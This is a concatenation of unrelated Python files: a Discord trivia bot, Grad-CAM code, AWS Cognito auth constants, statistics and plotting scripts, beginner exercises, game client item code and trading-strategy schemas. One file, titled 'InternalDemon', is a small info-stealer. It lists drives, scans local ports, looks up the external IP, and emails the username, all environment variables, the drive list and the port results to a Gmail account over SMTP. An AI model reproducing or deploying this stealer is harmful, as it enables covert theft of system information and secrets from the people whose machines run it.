import re
import os
import pkg_resources
import copy
import asyncio
import numpy as np
from karadoc import Funct
import json

import aiohttp
from io import BytesIO, StringIO, TextIOWrapper

from .Cards import Card, A, B, C, EMOJIS, EASY, HARD
from .Game import Game
# from .DiscordHelper import DiscordHelper

# from .Packs import PackHandler, Pack
# from .test_ocr import PackFromIMG

import pdb

class FunctTrivia(Funct):
    pack_list_dict = {
        "title": "**GOTCTips** Pack List",
        "description": "Below you can find a list of all active $99.99 packs stored by us.\nThe list is sorted by \"**{}**\".\nFor more information please read `!gt-pack help`.",
        "color": 14090240,
            "fields": [ {
        "name": "Current Packs ",
        "value": "*{:,.0f}* -{}",
                "inline": False
            }, {
        "name": "Join us on Discord",
        "value": "[GOTCTips Discord Server](https://discord.gg/gCVq9nW)",
        "inline": True
            },
            {
        "name": "Visit our Blog",
        "value": "[GOTCTips Blog](https://gotctips.com)",
        "inline":True
            }],
            "thumbnail": {
        "url": "http://gotctips.com/wp-content/uploads/2018/10/gotctips-discord-pack2.png"
            },
            "footer": {
        "icon_url": "http://gotctips.com/wp-content/uploads/2018/06/favicon.png",
        "text": "GOTCTips - Your best source for tips, news and guides about Game of Thrones Conquest!"
            }
            }

    def __init__(self, discord_client, database, bot_prefix, name_func, permission):
        Funct.__init__(self, discord_client=discord_client, bot_prefix=bot_prefix,
                       name_func=name_func, permission=permission, link="")

        self.database = database
        self.dict_game = {}
        # self.helper = DiscordHelper(discord_client=self.discord_client)
        # self.packHandler = PackHandler(stored_info=self.database,
        #                                game_data=self.game_data,
        #                                permission=permission)
        # self.pack_from_img = PackFromIMG(game_data=self.game_data, packs_database=self.database.packs)
        self.pack_channel = "trivia"

        # self._set_only_vip()
        self._register_fun(prefix="test", fun=self._display,
                           desc="Just display a test")
        self._register_fun(prefix="add", fun=self._newcard,
                           desc="Add a new card, by answering question")
        self._register_fun(prefix="fileadd", fun=self._from_file,
                           desc="Add a new card, by providing a file")

        self._register_fun(prefix="start", fun=self._start,
                           desc="Start a nex game")
        self._register_fun(prefix="join", fun=self._register,
                           desc="Join a game already started")
        self._register_fun(prefix="next", fun=self._next,
                           desc="Start the next round")
        self._register_fun(prefix="end", fun=self._end_game,
                           desc="End the game")
        # self._register_fun(prefix="search", fun=self._search,
        #                    desc="Search a speficic pack")
        #
        # self._register_fun_adminonly(prefix="new packs", fun=self._newpacks,
        #                    desc="Add new packs in one single csv (one pack per column)")
        # self._register_fun_adminonly(prefix="newpack", fun=self._newpack,
        #                    desc="Add a single pack, and broadcast it")
    async def _end_game(self, message, msg_str, cmd) -> None:
        if message.channel.id in self.dict_game:
            # await self.discord_client.send_message(message.channel, "And game has already started in this channel. Type `!trivia join` to join it.")
            game = self.dict_game[message.channel.id]
            await game.end_game(self.discord_client, message.channel)
            del self.dict_game[message.channel.id]
        else:
            await self.discord_client.send_message(message.channel, "No game has started in this channel. Type `!trivia start` to start one.")
        # end_game

    async def _start(self, message, msg_str, cmd) -> None:
        if message.channel.id in self.dict_game:
            await self.discord_client.send_message(message.channel, "And game has already started in this channel. Type `!trivia join` to join it.")
        else:
            game = Game(self.database)
            await game.start_game(self.discord_client, message.channel)
            self.dict_game[message.channel.id] = game
            await self.discord_client.add_reaction(message, "✅")
            await self.discord_client.send_message(message.channel, "Game has started. Type `!trivia join` to join it.")

    async def _register(self, message, msg_str, cmd) -> None:
        if message.channel.id in self.dict_game:
            if self.dict_game[message.channel.id].add_player(message.author.id):
                await self.discord_client.add_reaction(message, "✅")
                await self.discord_client.send_message(message.channel, "You successfuly join the game. Once everyone joined type `!trivia next` to start a round.")
            else:
                await self.discord_client.add_reaction(message, "❌")
                await self.discord_client.send_message(message.channel,
                                                       "You are already part of this game.")
        else:
            await self.discord_client.send_message(message.channel, "No game has started on this channel. Type `!trivia start` to start one.")

    async def _next(self, message, msg_str, cmd) -> None:
        if message.channel.id in self.dict_game:
            game = self.dict_game[message.channel.id]
            if game.is_locked():
                msg = "Impossible to start a new round while a round is still in progress."
                await self.discord_client.send_message(message.channel, msg)
            else:
                if game.is_player(message.author.id):
                    await game.start_round(self.discord_client, message.channel)
                else:
                    ans = "You are not part of this game. Type `!trivia join` to join it."
                    await self.discord_client.send_message(message.channel, ans)
        else:
            await self.discord_client.send_message(message.channel, "No game has started on this channel. Type `!trivia start` to start one, and  `!trivia join` to join it.")

    async def _display(self, message, msg_str, cmd) -> None:
        card = Card(message.author.id,
                      "Where is test ?",
                      "Not here",
                      "Here",
                      "Not there",
                      ans_correct=B,
                      difficulty=EASY,
                      season=0)
        emb = self.embed_from_dict(card.dict_embed())
        msg_check = await self.discord_client.send_message(message.channel, embed=emb)
        msg_check = msg_check[-1]

        for id_em in sorted(EMOJIS.keys()):
            await self.discord_client.add_reaction(msg_check, EMOJIS[id_em])

    async def _from_file(self, message, msg_str, cmd) -> None:
        file_ = {}
        if message.attachments:
            # there is a json already attached to it
            file_ = message.attachments[0]
        else:
            await self.discord_client.send_message(message.channel, "You ask to enter a new card, please check your dm")
            await self.discord_client.send_file(message.author, os.path.join(pkg_resources.resource_filename(__name__, 'data'),
                                                                   "card_example.json"))
            await self.discord_client.send_message(message.author, "Please modify the file \"card_example.json\", and send it back to us")
            as_attach = False
            while not as_attach:
                ans = await self.discord_client.wait_for_message(author=message.author)
                if ans.attachments:
                    as_attach = True
                    file_ = ans.attachments[0]
                else:
                    await self.discord_client.send_message(message.channel,
                                                           "Please modify the file \"card_example.json\", and send it back to us")

        async with aiohttp.ClientSession() as session:
            # note that it is often preferable to create a single session to use multiple times later - see below for this.
            async with session.get(file_['url']) as resp:
                buffer = BytesIO(await resp.read())
        # pdb.set_trace()
        # with open(buffer, "r") as f:
        #     dict_ = json.load(f)
        dict_ = json.load(TextIOWrapper(buffer, encoding='utf-8'))
        dict_["id_player"] = message.author.id
        dict_["category"] = "from_game"
        card = Card(**dict_)
        await self.__confirm_card(card, message)

    async def _newcard(self, message, msg_str, cmd) -> None:
        await self.discord_client.send_message(message.channel, "You ask to enter a new card, please check your dm")
        await self.discord_client.send_message(message.author, "Please provide the question")
        question = await self.discord_client.wait_for_message(author=message.author)
        await self.discord_client.send_message(message.author, "Please provide the possible answer a")
        ans_a = await self.discord_client.wait_for_message(author=message.author)
        await self.discord_client.send_message(message.author, "Please provide the possible answer b")
        ans_b = await self.discord_client.wait_for_message(author=message.author)
        await self.discord_client.send_message(message.author, "Please provide the possible answer c")
        ans_c = await self.discord_client.wait_for_message(author=message.author)
        await self.discord_client.send_message(message.author, "What is the correct answer (a, b or c)")
        ans_correct = await self.discord_client.wait_for_message(author=message.author)

        season_set = False
        season = 0
        while not season_set:
            await self.discord_client.send_message(message.author, "What is the season?")
            season = await self.discord_client.wait_for_message(author=message.author)
            try:
                season = int(season.content)
                season_set = True
            except Exception as e:
                print(e)
                await self.discord_client.send_message(message.author, "Please enter a valid integer")

        difficulty_set = False
        difficulty = EASY
        while not difficulty_set:
            await self.discord_client.send_message(message.author, "What is the difficulty (easy / hard)?")
            difficulty = await self.discord_client.wait_for_message(author=message.author)
            difficulty = difficulty.content
            if difficulty[:2] == "ea":
                difficulty_set = True
                difficulty = EASY
            elif difficulty[:2] == "ha":
                difficulty_set = True
                difficulty = HARD
            else:
                await self.discord_client.send_message(message.author, "Please enter easy/hard")

        card = Card(id_player=message.author.id,
                    question=question.content,
                    ans_a=ans_a.content,
                    ans_b=ans_b.content,
                    ans_c=ans_c.content,
                    ans_correct=ans_correct.content,
                    season=season,
                    difficulty=difficulty)
        await self.__confirm_card(card, message)

    async def __confirm_card(self, card: Card, message):
        ans_correct = card.get_ans_correct()
        emb = self.embed_from_dict(card.dict_embed())
        message_card = await self.discord_client.send_message(message.author, embed=emb)
        message_card = message_card[-1]
        await self.discord_client.send_message(message.author, "{}".format(ans_correct))
        await self.discord_client.send_message(message.author, "Is this card correct?")
        while 1:
            ok_ = await self._check_if_ok(orig_message=message)
            if ok_ is not None:
                break
        if ok_:
            card.save_mongo(database=self.database.cards)
            await self.discord_client.send_message(message.author, "Sucessfully added the card")
            await self.discord_client.add_reaction(message_card, "✅")  # point_up_2d
        else:
            await self.discord_client.send_message(message.author, "Card removed")
            await self.discord_client.add_reaction(message_card, "❌")  # point_up_2d
        # await self.discord_client.add_reaction(message, "❌")  # point_up_2d


import numpy as np
import torch

def scale_cam(cam, size):
    cam = (cam - cam.min()) / (1e-7 + cam.max())
    cam = cam[None, :, :, :]
    cam = torch.nn.functional.interpolate(cam, size)#, mode='bilinear')
    cam = cam.squeeze()

    return cam

def get_target_width_height(input_tensor):
    width, height = input_tensor.size(-1), input_tensor.size(-2)

    return width, height

class ActivationsAndGradients:
    """ Class for extracting activations and
    registering gradients from targeted intermediate layers """

    def __init__(self, model, target_layer, reshape_transform):
        self.model = model
        self.gradient = None
        self.activation = None
        self.reshape_transform = reshape_transform
        self.handles = []

        self.handles.append(target_layer.register_forward_hook(self.save_activation))
        self.handles.append(target_layer.register_forward_hook(self.save_gradient))

    def save_activation(self, module, input, output):
        activation = output

        if self.reshape_transform is not None:
            activation = self.reshape_transform(activation)

        self.activation = activation

    def save_gradient(self, module, input, output):
        if not hasattr(output, "requires_grad") or not output.requires_grad:
            # You can only register hooks on tensor requires grad.
            return

        # Gradients are computed in reverse order
        def _store_grad(grad):
            if self.reshape_transform is not None:
                grad = self.reshape_transform(grad)
            self.gradient = grad

        output.register_hook(_store_grad)

    def __call__(self, x):
        self.gradient = None
        self.activation = None

        return self.model(x)

    def release(self):
        for handle in self.handles:
            handle.remove()

class GCAM:
    def __init__(self, model, target_layer, use_cuda, reshape_transform=None, compute_input_gradient=False,
                 uses_gradients=True):
        self.model = model.eval()
        self.target_layer = target_layer
        self.cuda = use_cuda
        if self.cuda:
            self.model = model.cuda()
        self.reshape_transform = reshape_transform
        self.compute_input_gradient = compute_input_gradient
        self.uses_gradients = uses_gradients
        self.activations_and_grads = ActivationsAndGradients(self.model, target_layer, reshape_transform)

    def get_cam_weights(self, input_tensor, target_layer, targets, activation, grad):
        raise Exception("Not Implemented")

    def get_cam_image(self, activation, grad):
        elementwise_activations = torch.maximum(grad * activation, torch.zeros(grad.shape, device=grad.device))
        cam = elementwise_activations.sum(axis=1)

        return cam

    def forward(self, input_tensor, targets):

        if self.cuda:
            input_tensor = input_tensor.cuda()

        if self.compute_input_gradient:
            input_tensor = torch.autograd.Variable(input_tensor, requires_grad=True)

        outputs = self.activations_and_grads(input_tensor).reshape(-1)

        # all values in targets that are 1 will stay 1, but 0 will become -1
        targets = targets * 2 - 1

        if self.uses_gradients:
            self.model.zero_grad()
            loss = sum(targets * outputs)
            loss.backward(retain_graph=True)

        cam = self.get_cam_image(self.activations_and_grads.activation, self.activations_and_grads.gradient)
        cam = torch.maximum(cam, torch.zeros(cam.shape, device=cam.device))
        target_size = get_target_width_height(input_tensor)
        cam = scale_cam(cam, target_size)

        return cam

    def __call__(self, input_tensor, targets):
        return self.forward(input_tensor, targets)

    def __del__(self):
        self.activations_and_grads.release()

    def __enter__(self):
        return self

    def __exit__(self, exc_type, exc_value, exc_tb):
        self.activations_and_grads.release()
        if isinstance(exc_value, IndexError):
            # Handle IndexError here...
            print(
                f"An exception occurred in CAM with block: {exc_type}. Message: {exc_value}")
            return True


import os
import urllib.parse
from strenum import StrEnum
from typing import List

from api.common.config.aws import DOMAIN_NAME, RESOURCE_PREFIX, AWS_REGION
from api.common.config.constants import BASE_API_PATH
from api.common.config.layers import Layer

ALL = "ALL"

RAPID_ACCESS_TOKEN = "rat"  # nosec B105
COOKIE_MAX_AGE_IN_SECONDS = 3600

DEFAULT_PERMISSION = ["READ_PUBLIC"]

COGNITO_ALLOWED_FLOWS = ["client_credentials"]
COGNITO_RESOURCE_SERVER_ID = f"https://{DOMAIN_NAME}"
COGNITO_USER_POOL_ID = os.environ["COGNITO_USER_POOL_ID"]

ALLOWED_EMAIL_DOMAINS = os.environ["ALLOWED_EMAIL_DOMAINS"]

IDENTITY_PROVIDER_BASE_URL = (
    f"https://{RESOURCE_PREFIX}-auth.auth.{AWS_REGION}.amazoncognito.com"
)

IDENTITY_PROVIDER_TOKEN_URL = f"{IDENTITY_PROVIDER_BASE_URL}/oauth2/token"
IDENTITY_PROVIDER_AUTHORIZATION_URL = f"{IDENTITY_PROVIDER_BASE_URL}/oauth2/authorize"
IDENTITY_PROVIDER_LOGOUT_URL = f"{IDENTITY_PROVIDER_BASE_URL}/logout"

COGNITO_JWKS_URL = f"https://cognito-idp.{AWS_REGION}.amazonaws.com/{COGNITO_USER_POOL_ID}/.well-known/jwks.json"

COGNITO_EXPLICIT_AUTH_FLOWS = [
    "ALLOW_REFRESH_TOKEN_AUTH",
    "ALLOW_CUSTOM_AUTH",
    "ALLOW_USER_SRP_AUTH",
]

COGNITO_USER_LOGIN_APP_CREDENTIALS_SECRETS_NAME = os.getenv(
    "COGNITO_USER_LOGIN_APP_CREDENTIALS_SECRETS_NAME", "rapid_user_secrets_cognito"
)

COGNITO_LOGOUT_URI = f"https://{DOMAIN_NAME}/login"
COGNITO_REDIRECT_URI = f"https://{DOMAIN_NAME}{BASE_API_PATH}/oauth2/success"
PROTECTED_DOMAIN_SCOPES_PARAMETER_NAME = f"{RESOURCE_PREFIX}_protected_domain_scopes"
PROTECTED_DOMAIN_PERMISSIONS_PARAMETER_NAME = (
    f"{RESOURCE_PREFIX}_protected_domain_permissions"
)

def construct_user_auth_url(client_id: str):
    redirect_uri = urllib.parse.quote_plus(COGNITO_REDIRECT_URI)
    return f"{IDENTITY_PROVIDER_AUTHORIZATION_URL}?client_id={client_id}&response_type=code&redirect_uri={redirect_uri}"

def construct_logout_url(client_id: str):
    logout_uri = urllib.parse.quote_plus(COGNITO_LOGOUT_URI)
    return (
        f"{IDENTITY_PROVIDER_LOGOUT_URL}?client_id={client_id}&logout_uri={logout_uri}"
    )

class Action(StrEnum):
    READ = "READ"
    WRITE = "WRITE"
    USER_ADMIN = "USER_ADMIN"
    DATA_ADMIN = "DATA_ADMIN"

    @staticmethod
    def admin_actions() -> List[str]:
        return [Action.USER_ADMIN, Action.DATA_ADMIN]

    @staticmethod
    def data_actions() -> List[str]:
        return [Action.READ, Action.WRITE]

# Classifications
class Sensitivity(StrEnum):
    PUBLIC = "PUBLIC"
    PRIVATE = "PRIVATE"
    PROTECTED = "PROTECTED"

# Creates the possible Sensitivity Level Permissions from the existing Layer Enum
SensitivityPermissions = StrEnum(
    "SensitivityPermissions",
    dict([(sensitivity, sensitivity) for sensitivity in [*list(Sensitivity), ALL]]),
)

# Creates the possible Layer Permissions from the existing Layer Enum
LayerPermissions = StrEnum(
    "LayerPermissions",
    dict([(layer.upper(), layer.upper()) for layer in [*list(Layer), ALL]]),
)

class SubjectType(StrEnum):
    CLIENT = "CLIENT"
    USER = "USER"

class PermissionsTableItem(StrEnum):
    SUBJECT = "SUBJECT"
    PERMISSION = "PERMISSION"

class ServiceTableItem(StrEnum):
    JOB = "JOB"


# -*- coding: utf-8 -*-
"""
Created on Wed Sep 28 22:35:55 2022

@author: Pranav
"""

from scipy.stats import norm, uniform, expon
import math as mt
import numpy as np
import time
from mpl_toolkits.mplot3d import Axes3D
import matplotlib.pyplot as plt

startTime = time.perf_counter()
num = 200

values1 = uniform.rvs(loc =0, scale = 1, size = num)

time1 = time.perf_counter()

sorted(values1)
def unif_order(num):
    values2 = np.repeat(0., num)
    values2[num-1] = uniform.rvs(loc = 0, scale = 1)
    for i in range(num - 1):
        temp = uniform.rvs(loc = 0, scale = values2[num-1 - i])
        values2[num-2-i] = temp**(1/(num-1-i))*(values2[num-1-i])
    return values2
    # time2 = time.perf_counter()
    # print(time2 - time1, time1 - startTime)
N = 10000
X = np.repeat(0.,N)
Y = np.repeat(0.,N)
Z = np.repeat(0.,N)
for i in range(N):
    orderstat = unif_order(3)
    X[i] = orderstat[0]
    Y[i] = orderstat[1]
    Z[i] = orderstat[2]

fig = plt.figure()
ax = fig.add_subplot(111, projection='3d')
ax.scatter(X, Y, Z, c='r', marker='o')
ax.set_xlabel('X Label')
ax.set_ylabel('Y Label')
ax.set_zlabel('Z Label')
plt.show()


'''
NAME:    InternalDemon
AUTHOR:  S1DAL3X
PYTHON:  3.7.7
'''

import os, sys, socket, smtplib
from bs4 import BeautifulSoup
from urllib.request import urlopen

LOGIN       = os.getlogin()
DISKS       = []
SYSTEM_INFO = os.environ
PORTS       = [22, 25, 80, 139, 443, 445, 8080]
HOST          = '127.0.0.1'
NET_STAT    = []
system      = sys.platform

#определяем систему
def main():
    check_disk()

#проверяем подключенные диски
def check_disk():
    for letter in 'CDEFGHIJKLMNOPQRSTUVWXYZ':
        path = letter + ':/'
        try:
            if os.path.isdir(path):
                DISKS.append(path)
            else:
                pass
        except PermissionError:
            pass

    starter_net_scaner(HOST)

#сканер сети(сканируем открытые порты на хосте)
def net_scaner(host, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(0.5)
    try:
        connection = s.connect((host, port))
        connect = 'Host ' + str(host) + ' on port :' + str(port) + ' - is open.' + '\n'
        NET_STAT.append(connect)
        connection.close()
    except:
        pass

#запуск сканера сети
def starter_net_scaner(HOST):
    for port in PORTS:
        net_scaner(HOST, port)

    get_outside_ip()

#определение внешнего IP
def get_outside_ip():
    url = urlopen('https://yandex.ru/internet/')
    soup = BeautifulSoup(url, 'html.parser')
    out_str = soup.find('li', class_='parameter-wrapper general-info__parameter')
    out_str = str(out_str)
    ip = []

    for symbol in out_str:
        if '1234567890.'.find(symbol) != -1:
            ip.append(symbol)
    OUTSIDE_IP = ''.join(ip)[3:]

    send_mail(OUTSIDE_IP)

#отправка данных
def send_mail(outside_ip):
    array = [
        '\n OUTSIDE_IP      => ' + str(outside_ip),
        '\n SYSTEM          => ' + str(system),
        '\n USER            => ' + str(LOGIN),
        '\n DISKS           => ' + str(DISKS),
        '\n SYSTEM_INFO     => ' + str(SYSTEM_INFO),
        '\n NET STATISTIC   => ' + str(NET_STAT),
    ]
    report_text = '--Success!--'.join(array)
    #print(array)
    msgObject = smtplib.SMTP('smtp.gmail.com', 587)
    msgObject.starttls()
    msgObject.login('СВОЙ_ЛОГИН@gmail.com', 'СВОЙ_ПАРОЛЬ')                                               # Авторизация
    msgObject.sendmail('InternalDemon@gmail.com', 'СВОЙ_ЛОГИН@gmail.com', report_text.encode('utf8'))    # отправить(От кого, кому, сообщение)
    msgObject.quit()

if __name__ == "__main__":
    main()


import csv
import codecs
import matplotlib.pyplot as plt

Debug=0
DebugLine=10
start_year = 1940
end_year = 2000

def init():
	plt.rcParams['font.sans-serif'] = ['SimHei']
	plt.rcParams['axes.unicode_minus'] = False

def plot_num(x_index):
	file=open('2014data.csv','r',encoding='UTF-8')
	reader=csv.reader(file)
	m={}
	line_num=0
	xtitle="x"
	ytitle="填写问卷的人数，按出生时间的统计"
	for line in reader:
		if(line_num==0):
			line_num+=1
			xtitle=line[x_index]
			continue
		try:
			born_year=line[x_index]
			born_year=int(born_year)
		except Exception:
			continue
		if born_year not in m.keys():
			m[born_year]=0
		m[born_year]+=1
		line_num+=1
		if(Debug and line_num>DebugLine):
			print(m)
			break
	during_year=end_year-start_year
	c=[0]*during_year
	for y in range(start_year,end_year):
		if(y in m.keys()):
			c[y-start_year]=m[y]
	plt.bar(range(start_year, end_year), c, 0.5)
	plt.xlabel(xtitle)
	plt.ylabel("人数")
	plt.title(ytitle)
	#plt.axis([-1,11,0,7])
	plt.savefig("people_num",dpi=600)#plt.savefig()将输出图形存储为文件，默认为png格式，可以通过dpi修改输出质量
	if(Debug):
		plt.show()

def plot(x_index,y_index):
	plt.figure(figsize=(7, 5))#图片属性设置，图片大小
	rect=[0.1,0.15,0.7,0.7]
	subplt=plt.axes(rect)#此处设置柱状通在图片中的位置
	file=open('2014data.csv','r',encoding='UTF-8')
	#file=codecs.open('E:\\git\\my\\zuobiao_analysis\\2014data.csv','rb','utf-8')
	reader=csv.reader(file)
	m={}
	line_num=0
	ans_map={"强烈同意":0,"同意":1,"反对":2,"强烈反对":3}
	ans_map_r={0:"强烈同意",1:"同意",2:"反对",3:"强烈反对",4:"其他"}
	color_map_r={0:'#ff0000',1:'#eeee00',2:'#00eeee',3:'#0000ff',4:'#000000'}
	xtitle="x"
	ytitle="y"
	for line in reader:
		if(line_num==0):
			line_num+=1
			xtitle=line[x_index]
			ytitle=line[y_index]
			continue
		#print(line[3],line[54])
		try:
			born_year=line[x_index]
			born_year=int(born_year)
		except Exception:
			#print(line[54])
			continue
		ans=line[y_index]
		if(born_year not in m.keys()):
			m[born_year]=[0]*4
		if(ans not in ans_map.keys()):
			print("error:"+ans)
			continue
		m[born_year][ans_map[ans]]+=1
		line_num+=1
		if(Debug and line_num>DebugLine):
			#print(m)
			break
	start_year=1940
	end_year=2000
	during_year=end_year-start_year
	c=[1]*during_year
	plt.bar(range(start_year, end_year), c, 0.5, color=color_map_r[0],label=ans_map_r[0])
	for ans in range(4):
		for y in range(start_year,end_year):
			if y not in m.keys():
				continue
			if(sum(m[y])==0):
				continue
			c[y-start_year]-=m[y][ans]*1.0/sum(m[y])
		plt.bar(range(start_year,end_year),c,0.5,color=color_map_r[ans+1],label=ans_map_r[ans+1])
	plt.xlabel(xtitle)
	plt.ylabel("百分比")
	plt.title(ytitle)
	plt.legend( bbox_to_anchor=(1,0.7))
	#plt.axis([-1,11,0,7])
	plt.savefig('pic'+str(y_index),dpi=600)#plt.savefig()将输出图形存储为文件，默认为png格式，可以通过dpi修改输出质量
	if(Debug):
		plt.show()

def test():
	plt.plot([2,3,4,5,1,6])
	plt.ylabel("Grade")
	plt.ylabel("number")
	plt.axis([-1,11,0,7])
	plt.savefig('test',dpi=600)#plt.savefig()将输出图形存储为文件，默认为png格式，可以通过dpi修改输出质量
	plt.show()

if __name__=="__main__":
	# for i in range(3,53):
	# 	plot(54,i)
	init()
	plot_num(54)


# -*- coding: utf-8 -*-
"""
in & not in operators
Determines whether a value is or isn’t in a list

Created on Thu May 27 17:13:20 2021
@author: omgitskuei
"""

'howdy' in ['hello', 'hi', 'howdy', 'heyas']
#True

greetings = ['hello', 'hi', 'howdy', 'heyas']
'cat' in greetings
#False

'howdy' not in greetings
#False

'cat' not in greetings
#True

"""
The following program lets the user type in a pet name
and then checks to see whether the name is in a list of pets
Source: Automate the boring stuff with Python, P.87
"""
myPets = ['Zophie', 'Pooka', 'Fat-tail']
print('Enter a pet name:')
name = input()
if name not in myPets:
    print('I do not have a pet named ' + name)
else:
    print(name + ' is my pet.')


"""
파일 이름 : 10989.py
제작자 : 정지운
제작 날짜 : 2017년 7월 28일
프로그램 용도 : 숫자를 정렬해서 출력한다.
"""

""" 시간 초과로 인한 문제 풀이 실패 """

import sys

# 입력
tc = int(input())

lst = []

for i in range(tc):
	lst.append(int(sys.stdin.readline()))		# input 함수보다 readline함수가 더 빠르다고 함.

# 정렬 후 출력
lst.sort()

for i in range(tc):
	print(lst[i])


# -*- coding: gb18030 -*-

import Define
from CItemBase import CItemBase
import csstatus
import BigWorld
import ItemAttrClass
import TextFormatMgr
from gbref import rds
import gbref
from StatusMgr import BaseStatus
from guis.tooluis.richtext_plugins.PL_Font import PL_Font
import BigWorld
import Define
import keys
from bwdebug import *
from UnitSelect import unitSelect
import SkillTargetObjImpl
import csstatus
import csdefine

class CPositionSpellItem( CItemBase ) :
	"""
	位置施法物品
	"""
	def __init__( self, srcData ):
		"""
		"""
		CItemBase.__init__( self, srcData )
		self.modelPath = "gzawu/unitselect/unitselect.model"	#给一个默认的光圈路径
		self.modelScale = (1,1,1) #缩放系数

	def use( self, owner, target ):
		"""
		使用物品

		@param    owner: 背包拥有者
		@type     owner: Entity
		@param   target: 使用目标
		@type    target: Entity
		@param position: 目标位置,无则为None
		@type  position: tuple or VECTOR3
		@return: STATE CODE
		@rtype:  UINT16
		"""
		rds.statusMgr.setToSubStatus( Define.GST_IN_WORLD, UseStatus(self ) )

	def checkUse( self, owner ):
		"""
		检测使用者是否能使用该物品
		判断玩家挖宝位置是否合法，如果不合法，则打开“引路蜂、自动寻路”菜单
		"""

		state = CItemBase.checkUse( self, owner )
		if state != csstatus.SKILL_GO_ON:
			return state
		return csstatus.SKILL_GO_ON

	def useToPosition( self, player, target ):
		"""
		"""
		assert target.getType() == csdefine.SKILL_TARGET_OBJECT_POSITION, "target is not position."
		player.cell.useItem( self.uid, target )

	def validPosition( self, player, target ):
		"""
		"""
		spell = self.getSpell()
		if spell:
			return spell.validPosition( player, target )
		return csstatus.SKILL_GO_ON

	def getSpellScale(self):
		"""
		获得光圈路径和缩放系数
		"""
		spell = self.getSpell()
		if spell:
			return spell.modelScale
		return self.modelScale

	def getModelpath(self):
		"""
		获得光圈模型路径
		"""
		spell = self.getSpell()
		if spell:
			return spell.modelPath
		return self.modelPath

# --------------------------------------------------------------------
# Define.GST_IN_WORLD 状态中的子状态，进入这种状态后，鼠标左键按击事件
# 将会被该子状态截获。
# 210.05.15: by huangyongwei
# modify by wuxo 2012-2-22
# --------------------------------------------------------------------
class UseStatus( BaseStatus ) :
	def __init__( self,item ) :
		BaseStatus.__init__( self )							# 设置该状态下的鼠标形状，并锁定鼠标形状
		self.__item = item
		self.cbID = 0
		self.addSelect()

	# ----------------------------------------------------------------
	# private
	# ----------------------------------------------------------------
	def __leave( self ) :
		"""
		释放该状态
		"""
		if self.cbID != 0:
			BigWorld.cancelCallback( self.cbID )
		unitSelect.hideSpellSite()
		rds.statusMgr.leaveSubStatus( Define.GST_IN_WORLD, self.__class__ )

	# ----------------------------------------------------------------
	# public
	# ----------------------------------------------------------------
	def handleKeyEvent( self, down, key, mods  ) :
		"""
		准备 spell 状态按键消息在此处理
		如果想截获哪个按键的消息，只要判断是指定按键并返回 True 即可。
		"""
		if rds.worldCamHandler.handleKeyEvent( down, key, mods ) :
			return True

		if rds.uiHandlerMgr.handleKeyEvent( down, key, mods ) :
			self.__leave()
			return False

		if key == keys.KEY_LEFTMOUSE and mods == 0 :						# 鼠标左键按下时被调用
			if down :
				player = BigWorld.player()
				pos = gbref.cursorToDropPoint()								# 获取鼠标按下时所击中的地面位置
				if pos is None: return True
				target = SkillTargetObjImpl.createTargetObjPosition( pos )	# 封装位置目标
				if self.__item.validPosition( player, target ) == csstatus.SKILL_GO_ON :
					self.__item.useToPosition( player, target )
			else :
				self.__leave()
			return True
		elif key == keys.KEY_ESCAPE or key == keys.KEY_RIGHTMOUSE :		# 取消该子状态
			self.__leave()
			return True
		elif checkSkillShortcut( key, mods ) and down:
			self.__leave()
			return True

	def handleMouseEvent( self, dx, dy, dz ) :
		"""
		鼠标移动时被调用
		"""
		if rds.worldCamHandler.handleMouseEvent( dx, dy, dz ) :				# 旋转镜头中
			return True
		self.addSelect()

	def addSelect(self):
		"""
		加光圈
		"""
		pos = gbref.cursorToDropPoint()		# 获取鼠标按下时所击中的地面位置
		if pos is None: return

		player = BigWorld.player()
		target = SkillTargetObjImpl.createTargetObjPosition( pos )
		if self.__item.validPosition( player, target ) == csstatus.SKILL_GO_ON:
			unitSelect.setInRangeTexture()
		else:
			unitSelect.setOutOfRangeTexture()
		unitSelect.setSpellSize( 3.0 )
		unitSelect.setSpellSite( pos )
		if self.cbID != 0:
			BigWorld.cancelCallback( self.cbID )

		self.cbID = BigWorld.callback( 0.01, self.addSelect )

def checkSkillShortcut( key, mod ):
	"""
	判断按键是否是技能快捷键
	"""
	sc = rds.shortcutMgr.getSkillbarSC()
	skillbars = []
	for i in sc:
		skillbars.append( i.shortcutString)
	if keys.shortcutToString( key, mod ) in skillbars:
		return True
	return False


"""Strategy schemas module"""
# Built-In
from typing import Dict, List

# Third-Party
from pydantic import BaseModel, Field

# App
from app.models import SideEnum, ChartPeriodSecEnum

class CandleValue(BaseModel):
    """Candle Value schema"""

    type_: str = Field("select", title="Type Input")
    name: str = Field("OHLCV Value", title="Name of the Candle Value")
    options: List = Field(["open", "high", "low", "close", "volume"], title="Options")
    default: str = Field("close", title="Default")

class Period(BaseModel):
    """Period schema"""

    type_: str = Field("number", title="Type Input")
    step: int = Field(1, title="Step")
    min_: int = Field(1, title="Min")
    max_: int = Field(500, title="Max")
    name: str = Field("RSI Period", title="Name Period")
    default: int = Field(14, title="Default")
    value: int = Field(14, title="Value")

class SignalWhen(BaseModel):
    """Signal When schema"""

    type_: str = Field("value", title="Type Input")
    signal_when: str = Field(">=", title="Signal When")
    signal_when_value: int = Field(80, title="Signal When Value")
    defaults: Dict = Field(None, title="Defaults")

class ShortPeriod(BaseModel):
    """Short Period schema"""

    type_: str = Field("number", title="Type Input")
    step: int = Field(1, title="Step")
    min_: int = Field(1, title="Min")
    max_: int = Field(500, title="Max")
    name: str = Field("Short Period", title="Name Period")
    default: int = Field(5, title="Default")

class LongPeriod(BaseModel):
    """Long Period schema"""

    type_: str = Field("number", title="Type Input")
    step: int = Field(1, title="Step")
    min_: int = Field(1, title="Min")
    max_: int = Field(500, title="Max")
    name: str = Field("Long Period", title="Name Period")
    default: int = Field(20, title="Default")

class BaseParams(BaseModel):
    """Base Type schema"""

    period: Period = Field(None, title="Period")
    candle_value: CandleValue = Field(None, title="Candle Value")
    signal_when: SignalWhen = Field(None, title="Signal When")
    short_period: ShortPeriod = Field(None, title="Short Period")
    long_period: LongPeriod = Field(None, title="Long Period")

class StrategyData(BaseModel):
    """Strategy data base schema"""

    name: str = Field(None, title="Indicator Name")
    signal_type: SideEnum = Field(
        SideEnum.BUY, title="Signal Type", description="BUY or SELL"
    )
    chartperiod: ChartPeriodSecEnum = Field(
        ChartPeriodSecEnum.FIFTEEN_MIN,
        title="Chart Period",
        description="Chart Period in seconds",
    )
    candle_pattern: bool = Field(False, title="Candle Pattern")
    necessary: bool = Field(True, title="Necessary Signal")
